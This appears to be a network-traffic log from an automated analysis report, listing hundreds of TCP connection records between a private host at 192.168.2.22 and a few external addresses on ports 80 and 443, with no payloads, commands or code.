Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443

Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
